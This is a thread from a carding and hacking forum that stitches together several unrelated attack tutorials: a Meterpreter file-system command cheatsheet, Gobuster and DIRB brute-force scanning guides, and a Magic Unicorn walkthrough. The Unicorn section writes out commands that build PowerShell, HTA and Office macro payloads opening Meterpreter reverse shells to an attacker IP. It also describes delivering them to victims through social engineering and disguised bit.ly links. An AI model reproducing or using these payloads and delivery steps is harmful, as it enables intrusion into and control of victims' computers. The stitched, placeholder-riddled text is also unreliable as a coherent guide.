![]() |
|
[Guide] How to Meterpreter File System Commands Cheatsheet - Printable Version +- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc) +-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone) +--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home) +--- Thread: [Guide] How to Meterpreter File System Commands Cheatsheet (/Thread-Guide-How-to-Meterpreter-File-System-Commands-Cheatsheet) |
[Guide] How to Meterpreter File System Commands Cheatsheet - NINZA - 05-14-2020 Hey Friends! Did you know that meterpreter is known as Hacker’s Swiss Army Knife!! Well! Now you do. Meterpreter, a highly developed payload that can be extended dynamically, is known to be Hacker’s Swiss Army Knife. It uses a reflective DLL injection technique to further compromise the target after the attack. Meterpreter is known to influence the functionality of the Metasploit framework. It can help in doing a lot many things. Some of these include covering tracks after the attack, accessing the operating system, and dumping hashes. This article discusses meterpreter’s Stdapi File System Commands. There are 21 commands including cat, cd, pwd, and checksum. Figure 1 summarises them: ![]() Let’s start discussing them. cat It is the very first command in the group of Stdapi File System Commands. It reads the contents of a file to the screen. In other words, cat displays a file’s contents. cat command in meterpreter is same as cat command used in Unix/Linux systems. The syntax of cat in meterpreter is as follows: cat filename 1 cat filename ![]() cd and pwd Though cd and pwd commands are two separate commands, they are usually used together. cd stands for change directory and pwd stands for print working directory. You use pwd command to check the directory you are working in. You can change this directory using the cd command. By default, the current working directory is the one where the connection was established. The syntaxes of pwd and cd commands in meterpreter are as follows: pwd 1 pwd cd <path of the folder to change to> ![]() checksum This command retrieves the checksum of a file. The syntax of the checksum command is as follows: checksum [md5/sha1] file1 file2 file 3... 1 checksum [md5/sha1] file1 file2 file 3... ![]() cp This command copies the content of the old file to the new file. The syntax of the cp command is as follows: cp <oldfile> < newfile> 1 cp <oldfile> < newfile> ![]() dir This command lists files. It is an alias for the ls command. It provides crucial details related to any file or directories such as File Permissions, Size of File, Last modified date and file Name & Type. The syntax of the dir command is as follows: dir 1 dir ![]() download This command downloads remote files and directories from a remote location to the local machine. The syntax of download command is as follows: download [options] src1 src 2 src3... destination 1 download [options] src1 src 2 src3... destination ![]() edit This command edits a file. The syntax of edit command is as follows: edit <file name> 1 edit <file name> ![]() When you press the Enter key, the screen displayed is as shown in the below image: ![]() After editing the file, type: x to save the changes and exit, as shown in the below image ![]() getlwd This command prints the working directory on the local machine that is, in our case it is Kali Linux. The syntax of the getlwd command is as follows: getlwd 1 getlwd ![]() getwd This command prints the working directory. The syntax of the getwd command is as follows: getwd 1 getwd ![]() lcd This command changes the working directory of the local machine that is, in our case it is Kali Linux. The syntax of lcd is as follows: lcd 1 lcd ![]() You can see that local working directory changes to /root/Desktop lls This command lists files on the local machine that is, in our case it is Kali Linux. The syntax of lls command is as follows: lls 1 lls ![]() lpwd This command prints the working directory on the local machine that is, in our case it is Kali Linux. It is the same as the getlwd command. The syntax of the lpwd command is as follows: lpwd 1 lpwd ![]() ls This command lists files. The syntax of the ls command is as follows: ls 1 ls ![]() mkdir This command makes directory. The syntax of the mkdir command is as follows: mkdir dir1 dir2 dir3... 1 mkdir dir1 dir2 dir3... ![]() mv This command moves a file from source to destination and it can also be used to rename the file as shown. The syntax of the mv command is as follows: mv oldfile newfile 1 mv oldfile newfile ![]() You can see the moved contents using cat command. pwd This command prints the working directory. The syntax of the pwd command is as follows: pwd 1 pwd ![]() rm This command deletes the specified file. The syntax of the rm file is as follows: rm file1 [file2...] 1 rm file1 [file2...] ![]() You can see the list of files before and after using rm command. rmdir This command removes the directory. The syntax of the rmdir command is as follows: rmdir dir1 dir 2 dir 3... 1 rmdir dir1 dir 2 dir 3... ![]() search This command search for files. The syntax of the search command is as follows: search -f *.doc 1 search -f *.doc ![]() show_mount This command list all mount points/logical drives. The syntax of the show_mount command is as follows: show_mount 1 show_mount ![]() upload This command uploads a file or directory. The syntax of the upload command is as follows: upload [options] src1 src2 src3... destination 1 upload [options] src1 src2 src3... destination ![]() You can see the uploaded file, as shown in the below image: ![]() Hello Friend!! Today we are going demonstrate URLs and DNS brute force attack for extracting Directories and files from inside URLs and sub-domains from DNS by using “Gobuster-tool”. Table of Content
Gobuster is a tool used to brute-force on URLs (directories and files) in websites and DNS subdomains. Gobuster can be downloaded through the apt- repository and thus execute the following command for installing it. apt-get install gobuster 1 apt-get install gobuster ![]() When it will get installed, you can interact with it and can perceive all available option with the help of the following command. gobuster -h 1 gobuster -h Common Parameters
![]() Using Wordlist for Directory Brute-Force You can use -w option for using a particular wordlist, for example, common.txt or medium.txt to launch a brute-force attack for extracting web directories or files from inside the target URL. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txtThe above command will dump the all possible files and directories with the help of common.txt wordlist. ![]() Obtaining Full Path for a directory or file Using -e option provides a more significant result, as it Prints complete URL when extracting any file or directories. gobuster -e -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt1 gobuster -e -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txtYou can compare the following output result from the previous result. ![]() Hide Status Code Using -n Option “no status” mode, it prints the output of the results without displaying the status code. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -n1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -nThe above command will dump all possible files and directory without displaying their status code. Verbose Mode Using -v option – it enables the verbose parameter and makes brute-force attack vigorously on each file or directory. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -v1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -vAs you can observe from the following option that, this time it has to dump the result including status 404 for missing directories or files. ![]() Identify Content-Length Using -l option enables content-length parameter which displays the size of the response. A Content-Length header is a number denoting and the exact byte length of the HTTP body for extracted file or directory. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -l1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -l![]() Disable Banner Gobuster always adds the banner to specify the brief introduction of applied options while launching a brute force attack. By using -q option we can disable the banner to hide additional information. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -q1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -qFrom the given below image, you can perceive the difference between the last output results and in the current result. ![]() User-Agent Mode Using -an option enables User-Agent mode to specify a user agent string to send in the request header for extracting directories and files from inside the target URL. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -a Mozilla/5.0 -fw1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -a Mozilla/5.0 -fw![]() Obtain Result with Specify Status Code Using -s Option enables the status code for specific value such as 302, 200, 403, and 404 and so on to obtain certain request pages. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 302gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 2001 2 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 302gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -s 200From the given below image, you can take reference for the output result obtained for the above commands. ![]() Timeout Using -to option enables the timeout parameter for HTTP request and 10 second is the Default time limit for the HTTP request. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -to 10s1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -to 10s![]() Appending Forward slash Using -f option, appending the forward slash while making brute-force attack on the target URL. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -f1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -f![]() Saving Output Result inside Text File Using -o option enables saving output result parameter in a text file which can be useful in the future. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -o result.txt1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -o result.txtWe can ensure the result.txt file with the help of cat command cat result.txt 1 cat result.txt Enumerating Directory with Specific Extension List There are a lot of situations where we need to extract the directories of a specific extension over the target server, and then we can use the -X parameter of this scan. This parameter accepts the file extension name and then searches the given extension files over the target server or machine. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -x .php1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -x .php![]() Follow Redirect Using -r options enables redirect parameter which redirects HTTP request to another and modifies the Status code for a directory or file. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -qgobuster -u [To see content please register here] -r -w /usr/share/wordlists/dirb/common.txt -q1 2 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -qgobuster -u [To see content please register here] -r -w /usr/share/wordlists/dirb/common.txt -qYou can compare the output result of the default scan with redirect output result. ![]() HTTP AUTHORIZATION (-u username: password) HTTP Authentication/Authentication mechanisms are all based on the use of 401-status code and WWW-Authenticate response header. The most widely used HTTP authentication mechanisms are Basic. The client sends the user name and password as un-encrypted base64 encoded text. So, in order to bypass this kind of authentication with the help of Gobuster we have used the command below: gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -U test -P test1 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt -U test -P testAs a result, it is shown Status –code 200 for the test: test and authorized credential on target URL. ![]() DNS Mode Using -m option is enabled DNS mode which is effective for public network IP and extracts the sub-domains. gobuster -m dns -u google.com -w /usr/share/wordlists/dirb/common.txt 1 gobuster -m dns -u google.com -w /usr/share/wordlists/dirb/common.txt As you can observe the output result from the given below result. ![]() Set Threads Number Using -t option, it enables the number of thread parameter to be applied while brute-forcing sub-domains name or directories. gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt 1 gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt ![]() Obtain sub-domains IPs Using -i option enables the IP parameter which should be showing IPs of extracted sub-domains. gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -i 1 gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -i From the given below result, you can observe that it showing IPv4 of Ipv6 for each extracted sub-domains. ![]() Force Processing Brute Force It stops extracting the sub-domains name if meet any Wildcard DNS which is a non-existing domain, therefore uses -fw option to enable force processing parameter to continue the attack even if there is any Wildcard Domain. gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw 1 gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw ![]() Hide Process of Extracting Using -np option hides the process of extracting sub-domains name while making brute force attack. gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw -np 1 gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -fw -np ![]() Extracting CNAME Records Using –cn option enables CNAME Records parameter of the extracted sub-domains and show their CNAME records. gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -cn 1 gobuster -m dns -u google.com -t 100 -w /usr/share/wordlists/dirb/common.txt -cn You can observe the output for above-executed command in the given below result. ![]() Proxy URL Using –p option enables proxy URL to be used for all requests, by default it works on port 1080. As you can observe, on exploring target network IP in the web browser it put up “Access forbidden error” which means this web page is running behind some proxy. ![]() To ensure this prediction, we run the gobuster command twice, firstly on port 80 which is by default and further on port 3129 along with –p option which enables proxy parameter. gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txtgobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt –p 192.168.1.108:31291 2 gobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txtgobuster -u [To see content please register here] -w /usr/share/wordlists/dirb/common.txt –p 192.168.1.108:3129From the given below image, you can take reference for the output result obtained for above commands, here we haven’t obtained any directory or file on executing the first command where else in the second command executed successfully. ![]() Magic Unicorn is a simple tool for using a PowerShell downgrade attack that injects shellcode straight into memory. It is based on Matthew Graeber’s PowerShell attacks and the PowerShell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18. Table of Contents
git clone [To see content please register here] 1 git clone [To see content please register here] ![]() Once downloaded, go in the directory and run unicorn with the following command to see all the possible methods. ./unicorn.py 1 ./unicorn.py ![]() Powershell Attack Instructions First, we will try the reverse_tcp payload. As we can see in the main menu all the commands are already written. We just need to replace the IP with our IP. python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 4444 1 python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 4444 ![]() Now this will give us two files. One is a text file named “powershell_attack.txt” which has the PowerShell code that will be run in the victim’s machine using social engineering and the other is “unicorn.rc” which is a custom Metasploit file that will automatically set all the parameters and start a listener. ![]() These files will be saved in the directory where unicorn was cloned. Powershell_attack.txt holds the malicious code and when the victim will execute that code in his command prompt, the attacker will get a reverse connection of his machine. ![]() Now let’s set up a listener first. We need to run the Metasploit “unicorn.rc” file using the following command: msfconsole -r unicorn.rc 1 msfconsole -r unicorn.rc ![]() We see a session was obtained in the meterpreter. It was because the PowerShell code was executed in the victim’s command shell. It would have looked something like this: ![]() HTA Attack Instructions For our next attack, we will be using an HTA payload. python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 4455 hta 1 python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 4455 hta ![]() Now convert your IP in bit.ly URL form and send to the victim and then wait for the user to click on the “launcher.hta” file which could be done using social engineering easily. ![]() So, we set up a Metasploit listener next using the RC file and wait for the user to click on the hta payload. msfconsole -r unicorn.rc 1 msfconsole -r unicorn.rc ![]() As soon as he ran the file, we received a meterpreter session. We checked the system info using the sysinfo command. ![]() Macro Attack Instructions Now for the third and final payload for this tutorial, we set hands on our beloved macros. python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 443 macro 1 python unicorn.py windows/meterpreter/reverse_https 192.168.1.109 443 macro ![]() This again creates a text file and a “.rc” file with the same name and on the same destination. ![]() To enable developer mode there are various methods depending upon your version of MS office. As for a generic approach, let’s say you enabled it like: File->properties->ribbons->developer mode ![]() You will see an extra tab labeled developer once it gets enabled. As for the attack, go to developer->macros and create a new macro named “Auto_Open” ![]() Simply paste the contents from “powershell_attack.txt” to this xlsx module and save it. ![]() As soon as you click run (little green icon on the top), it will give you an error! Don’t worry! You want that error. It is supposed to happen. ![]() Soon after the error on the user screen, we would have obtained a session successfully in meterpreter! Use sysinfo double check our successful exploitation using unicorn! ![]() In this article, we are focusing on the transient directory using Kali Linux tool DIRB and trying to find hidden files and directories within a web server. A path traversal attack is also known as “directory traversal” aims to access files and directories that are stored outside the web root folder. By manipulating variables with reference files with “dot-dot-slash (…/)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code, configuration, and critical system files. Source: [To see content please register here] Requirements Target- BWAPP Labs, DVWA Labs, Attacker – Kali Linux Table of Content
DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary-based attack against a web server and analyzing the response. It comes with a set of preconfigured attack wordlists for easy usage but you can use your custom wordlists. Also, DIRB sometimes can be used as a classic CGI scanner, but remember is a content scanner, not a vulnerability scanner. The main purpose is to help in professional web application auditing. Especially in security-related testing. It covers some holes not covered by classic web vulnerability scanners. DIRB looks for specific web objects that other generic CGI scanners can’t look for. It doesn’t search vulnerabilities nor does it look for web contents that can be vulnerable. Source: [To see content please register here] Tool DIRB is built-in Kali Linux. Open the terminal and type the following command to get an overview of the tools included in the package: dirb -a <agent_string> : Specify your custom USER_AGENT. -c <cookie_string> : Set a cookie for the HTTP request. -f : Fine tunning of NOT_FOUND (404) detection. -H <header_string> : Add a custom header to the HTTP request. -i : Use case-insensitive search. -l : Print “Location” header when found. -N <nf_code>: Ignore responses with this HTTP code. -o <output_file> : Save output to disk. -p <proxy[:port]> : Use this proxy. (Default port is 1080) -P <proxy_username:proxy_password> : Proxy Authentication. -r : Don’t search recursively. -R : Interactive recursion. (Asks for each directory) -S : Silent Mode. Don’t show tested words. (For dumb terminals) -t : Don’t force an ending ‘/’ on URLs. -u <username:password> : HTTP Authentication. -v : Show also NOT_FOUND pages. -w : Don’t stop on WARNING messages. -X <extensions> / -x <exts_file> : Append each word with this extensions. -z : Add a milliseconds delay to not cause excessive Flood. ![]() Utilizing Multiple Wordlist for Directory Traversing The above attack works by using the default wordlist_files common.txt, but we can change this word list and could select another wordlist for directory traversal. You must follow the following path to view all available wordlists. cd /usr/share/wordlists/dirb ls –la cd /usr/share/wordlists/vulns ls -la 1 2 3 4 cd /usr/share/wordlists/dirb ls –la cd /usr/share/wordlists/vulns ls -la You can see from the image below that there are so many text files as wordlist; we can use them as required. ![]() Default working of Dirb In this attack the common.txt is set as a default word list for directory traversal, the protester can use the following command. Open the terminal and type the following command to start the Brussels Directory attack. dirb [To see content please register here] 1 dirb [To see content please register here] Using the common.txt file, the DIRB returns the enumerated directories found within the target URL as shown in the below image. ![]() Enumerating Directory with Specific Extension List There are a lot of situations where we need to extract the directories of a specific extension over the target server, and then we can use the -X parameter of the dirb scan. This parameter accepts the file extension name and then searches the given extension files over the target server or machine. dirb [To see content please register here] -X .php1 dirb [To see content please register here] -X .phpThe above command will extract all directory path related to php extension as shown the following image. ![]() Save Output to Disk For the purpose of the record maintenance, better readability, and future references, we save the output of the dirb scan onto a file. To this, we will use the parameter -o of the dirb scan we can save the output of the dirb scan in a text file. dirb [To see content please register here] -o output.txt1 dirb [To see content please register here] -o output.txtThe above command will generate an output.txt file at the desktop of the enumerated directories. ![]() Now that we have successfully executed the command, now let’s traverse to the location to ensure whether the output has been saved on the file on not. In this case, our location for output is /root/output.txt. ![]() Ignore Unnecessary Status-Code The Status-Code element is a 3-digit integer where the first digit of the Status-Code defines the class of response and the last two digits do not have any categorization role. In this attack, we are using –N parameter on code 302 as shown below. dirb [To see content please register here] -N 3021 dirb [To see content please register here] -N 302As you can grasp from the given screenshot that the dirb scan is ignoring the NOT FOUND code that is., 302. ![]() Default Working Vs Nonstop on WARNING messages Working During the normal dirb scan as shown below, some of the pages generate warnings; the dirb scan skips those directories where it encounters any warnings. dirb [To see content please register here] 1 dirb [To see content please register here] ![]() While doing a scan that is to be done very deeply and verbosely, we want that the dirb scan to not avoid these warnings and do an in-depth scan, hence we use the -w parameter of the dirb scan. dirb [To see content please register here] -w1 dirb [To see content please register here] -wAs you can observe the highlighted directory /dev/shell is enumerated even after warning message which is missing in the default scan. ![]() Speed delay While working in different scenarios, there is some environment we come across that cannot handle the flood created by the dirb scan, so in those environments, it is important that we delay the scan for some time. This can be done easily with the -z parameter of the dirb scan. In this parameter, the time is provided on the scale of milliseconds. Like as shown in our given example, we have given 100 seconds delay to dirb. dirb [To see content please register here] -z 1001 dirb [To see content please register here] -z 100![]() Not recursively (-r) The dirb scan, by default, scans the directories recursively. It means it scans a directory and then traverses inside that directory to scan for more subdirectories. But in some scenarios, where time is insufficient, we set the dirb to not scan recursively. This can be achieved using the -r parameter. dirb [To see content please register here] -r1 dirb [To see content please register here] -r![]() Show NOT Existence Pages A 404 error is an HTTP status code that means that the page you were trying to reach on a website couldn’t be found on their server. 404 Not Found error messages are frequently customized by individual websites. In some scenarios we need to find the 404 pages too, which dirb skips by default. To find those pages we will use -v parameter. dirb [To see content please register here] -v1 dirb [To see content please register here] -vFrom given below the image you can observe it has also extracted all those directories are relevant to 404 errors. ![]() Extension List (-X parameter) Vs Extension Header (-H parameter) By using the –X parameter along with target URL with a specific extension, for example, .php, it enumerates all file or directory with .php extension, but by using –H parameter with specific extension, for example .php along with target URL it will enumerate all files or directories named with php as shown in the given below image. dirb [To see content please register here] -H .php1 dirb [To see content please register here] -H .php![]() Not forcing an ending ‘/’ on URLs (-t) From the attacks used in the previous situations, in order to run the dirb tool, we will have to add a forward slash (/) at the end of the URL to be accepted in dirb. In order to check that we need to try one attack on URL ending without any forward slash. dirb [To see content please register here] 1 dirb [To see content please register here] You will observe that the scan doesn’t get executed successfully because of the lack of the forward slash, the importance of which we discussed earlier in this article. Try this attack once again with the same command with some changes so in order to run that command we have to add –t in the previous command. dirb [To see content please register here] -t1 dirb [To see content please register here] -tAs now we can observe that the even in the absence of the forward slash, we still have successfully executed the dirb scan. ![]() HTTP AUTHORIZATION (-u username: password) HTTP Authentication/Authentication mechanisms are all based on the use of 401-status code and WWW-Authenticate response header. The most widely used HTTP authentication mechanisms are Basic. The client sends the user name and password as unencrypted base64 encoded text. So, in order to bypass this kind of authentication with the help of dirb we have used the command below: dirb [To see content please register here] -u test:test1 dirb [To see content please register here] -u test:testAs a result, it is shown Status –code 200 for the test: test and authorized credential on target URL. ![]() Proxy URL Using –p option enables proxy URL to be used for all requests, by default it works on port 1080. As you can observe, on exploring target network IP in the web browser it put up “Access forbidden error” which means this web page is running behind some proxy. ![]() To ensure this prediction, we run the dirb command twice, firstly on port 80 which is by default and further on port 3129 along with –p option which enables proxy parameter. dirb [To see content please register here] dirb[To see content please register here] –p 192.168.1.108:31291 2 dirb [To see content please register here] dirb[To see content please register here] –p 192.168.1.108:3129From the given below image, you can take reference for the output result obtained for above commands, here we haven’t obtained any directory or file on executing the first command where else in the second command executed successfully.
|